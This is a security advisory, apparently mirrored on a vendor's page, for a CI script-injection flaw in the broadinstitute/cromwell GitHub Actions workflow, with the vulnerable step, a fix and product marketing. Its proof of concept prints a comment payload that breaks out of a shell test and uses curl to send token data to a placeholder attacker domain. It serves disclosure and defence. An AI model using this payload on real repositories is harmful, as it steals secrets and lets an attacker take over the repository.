Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 GitHub Actions

GHSA-phf6-hm3h-x8qp

CRITICAL

Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`

Published
May 28, 2025
Updated
May 28, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
📦broadinstitute/cromwell

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Using Issue_comment on .github/workflows/scalafmt-fix.yml an attacker can inject malicious code using github.event.comment.body. By exploiting the vulnerability, it is possible to exfiltrate high privileged GITHUB_TOKEN which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:

  • BROADBOT_GITHUB_TOKEN

Details

The Issue_comment in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.

      - name: Check for ScalaFmt Comment
        id: check-comment
        run: |
          if [[ "${{ github.event_name }}" == "issue_comment" && "${{ github.event.comment.body }}" == *"scalafmt"* ]]; then
            echo "::set-output name=comment-triggered::true"
          else
            echo "::set-output name=comment-triggered::false"
          fi

In this case, it is possible to exfiltrate GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secrets.

PoC

To exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow .github/workflows/update_pylon_issue.yml.

test" == "test" ]]; then
  & curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null # 

To prove this is possible, we created an issue and we added a comment with the malicious code to extract the GITHUB_TOKEN and BROADBOT_GITHUB_TOKEN secret. With the GITHUB_TOKEN extracted we were able to push a new poc tag which has been deleted after a couple of minutes.

<img width="1603" alt="Screenshot 2025-05-20 at 23 17 14" src="https://github.com/user-attachments/assets/e2ebdb22-3d2d-467c-9326-34ca1e4b7ecf" />

Impact

Usually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo.

GITHUB_TOKEN Permissions
  Actions: write
  Attestations: write
  Checks: write
  Contents: write
  Deployments: write
  Discussions: write
  Issues: write
  Metadata: read
  Models: read
  Packages: write
  Pages: write
  PullRequests: write
  RepositoryProjects: write
  SecurityEvents: write
  Statuses: write

We also checked BROADBOT_GITHUB_TOKEN permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid GITHUB_TOKEN. We suggest to rotate the BROADBOT_GITHUB_TOKEN token asap.

Fix

  • Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:
- name: Dump comment
  run: echo "Comment Body: $BODY"
  env:
    BODY: ${{ github.event.comment.body }}

This safely passes the comment as an environment variable rather than interpolating it in-place.

  • Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:
permissions:
  issues: write

Kindly reported by @darryk10 @AlbertoPellitteri @loresuso

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦GitHub Actionsbroadinstitute/cromwell87&&< 9090

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for broadinstitute/cromwell. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update broadinstitute/cromwell to 90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-phf6-hm3h-x8qp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-phf6-hm3h-x8qp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-phf6-hm3h-x8qp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Using `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret: - `BROADBOT_GITHUB_TOKEN ` ### Details The `Issue_comment` in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly inter
O3 Security · Impact-Aware SCA

Is GHSA-phf6-hm3h-x8qp in your dependencies?

O3 detects GHSA-phf6-hm3h-x8qp across GitHub Actions dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.